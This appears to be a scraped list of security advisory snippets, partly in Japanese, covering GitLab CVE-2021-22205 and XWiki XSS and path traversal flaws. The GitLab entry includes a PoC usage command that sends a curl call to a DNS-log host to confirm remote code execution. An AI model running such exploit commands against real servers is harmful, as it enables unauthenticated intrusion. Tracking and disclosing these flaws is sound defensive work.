CVE-2021-22205

CVE-2021-22205 影響バージョン： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 使用方法 root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token の取得： /users/signin から csrf-token を取得し、前述の CVE-2021-22205 POC を使用してアップロードパケットを構築し、認証されていないアップロードリクエストを実行して、最終的に RCE を達成します。 参照:...

Cross-site Scripting in wiki manager join wiki page

Impact We found a possible XSS vector in the WikiManager.JoinWiki wiki page related to the "requestJoin" field. Patches The issue is patched in versions 12.10.11, 14.0-rc-1, 13.4.7, 13.10.3. Workarounds The easiest workaround is to edit the wiki page WikiManager.JoinWiki with wiki editor and chan...

CVE-2022-29253

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Starting with version 8.3-rc-1 and prior to versions 12.10.3 and 14.0, one can ask for any file located in the classloader using the template API and a path with ".." in it. The issue is patch...

Exploit for Code Injection in Gitlab

Vuln Impact An issue has been discovered in GitLab CE/EE af...